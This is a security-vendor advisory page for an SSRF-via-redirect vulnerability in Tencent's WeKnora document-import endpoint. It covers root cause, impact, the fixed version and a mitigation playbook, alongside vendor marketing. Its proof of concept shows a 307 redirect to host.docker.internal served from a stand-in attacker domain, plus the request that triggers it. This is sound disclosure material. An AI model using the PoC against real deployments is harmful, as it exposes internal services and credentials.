Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-595m-wc8g-6qgc

MEDIUM

GHSA-595m-wc8g-6qgc is a medium-severity (CVSS 5.9) Server-Side Request Forgery (SSRF) vulnerability in github.com/Tencent/WeKnora. O3 Security confirms whether GHSA-595m-wc8g-6qgc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

WeKnora is Vulnerable to SSRF via Redirection

Also known asCVE-2026-30247GO-2026-4628
Published
Mar 5, 2026
Updated
Mar 23, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-595m-wc8g-6qgc.

Real-World Exposure

1 pkg affected
🐹github.com/Tencent/WeKnora

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The application's "Import document via URL" feature is vulnerable to Server-Side Request Forgery (SSRF) through HTTP redirects. While the backend implements comprehensive URL validation (blocking private IPs, loopback addresses, reserved hostnames, and cloud metadata endpoints), it fails to validate redirect targets. An attacker can bypass all protections by using a redirect chain, forcing the server to access internal services. Additionally, Docker-specific internal addresses like host.docker.internal are not blocked.

Details

The /api/v1/knowledge-bases/{id}/knowledge/url endpoint validates the initial URL but follows HTTP redirects without re-validating the destination. This allows attackers to:

  1. Submit a URL to an attacker-controlled domain (passes validation)
  2. Have that domain respond with a 307 redirect to an internal service
  3. The backend automatically follows the redirect without checking if the destination is restricted
  4. The internal service response is exposed to the attacker

Validation Gaps

  • The IsSSRFSafeURL() function (in internal/utils/security.go) validates the initial URL thoroughly, but there's no validation of HTTP redirect targets
  • host.docker.internal is not in the restrictedHostnames list
  • Docker-specific IP ranges (172.17.0.0/16 for bridge networks) are not explicitly blocked
  • The code validates parsed.Hostname() from the initial URL, but redirect Location headers bypass this check

Root Cause Analysis

The backend makes the security mistake of trusting the server's HTTP client library to be secure. In Go, when using http.Get() or similar functions, the standard library will automatically follow redirects up to 10 times by default. The SSRF validation only checks the URL passed to the endpoint, not intermediate redirects.

PoC

Step 1: Set up an attacker-controlled server that responds with a redirect:

HTTP/1.1 307 Temporary Redirect
Location: http://host.docker.internal:7777
Content-Type: text/html
Access-Control-Allow-Origin: *

Step 2: Send the request with a clean URL:

POST /api/v1/knowledge-bases/dbadd153-9e60-4213-9553-9f78dbcba0dc/knowledge/url HTTP/1.1
Host: localhost
Content-Type: application/json
Authorization: Bearer <valid_token>

{"url":"https://attacker-domain.com","tag_id":""}

The URL https://attacker-domain.com passes all validation checks because: ✓ Valid https:// scheme ✓ Not an IP address (it's a domain) ✓ Not in restricted hostnames ✓ Doesn't resolve to a private IP (assuming attacker controls a public domain)

Step 3: The backend's HTTP client follows the redirect to http://host.docker.internal:7777, which: ✗ Is not validated ✗ host.docker.internal is not in the blocklist ✗ Successfully accesses the internal service

Impact

Vulnerability Type: Server-Side Request Forgery (SSRF) via HTTP Redirect

Who is Impacted:

  • The organization running the application
  • Internal services and databases accessible from the application container
  • Services in the Docker network (other containers, internal infrastructure)
  • Sensitive data stored in internal services

Potential Consequences:

  • Access to internal databases (PostgreSQL, MongoDB, MySQL) running in Docker
  • Information disclosure from internal services (Redis cache, configuration servers)
  • Access to Docker container metadata and environment variables
  • Lateral movement to other containers in the same Docker network
  • Exfiltration of sensitive configuration, API keys, or database credentials
  • Potential RCE if internal services have exploitable vulnerabilities

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/Tencent/WeKnoraall versions0.2.12

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/Tencent/WeKnora. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/Tencent/WeKnora to 0.2.12 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-595m-wc8g-6qgc is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-595m-wc8g-6qgc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-595m-wc8g-6qgc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The application's "Import document via URL" feature is vulnerable to Server-Side Request Forgery (SSRF) through HTTP redirects. While the backend implements comprehensive URL validation (blocking private IPs, loopback addresses, reserved hostnames, and cloud metadata endpoints), it **fails to validate redirect targets**. An attacker can bypass all protections by using a redirect chain, forcing the server to access internal services. Additionally, Docker-specific internal addresses like `host.docker.internal` are not blocked. ### Details The `/api/v1/knowledge-bases/{id}/knowledg
O3 Security · Impact-Aware SCA

Is GHSA-595m-wc8g-6qgc in your dependencies?

O3 detects GHSA-595m-wc8g-6qgc across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.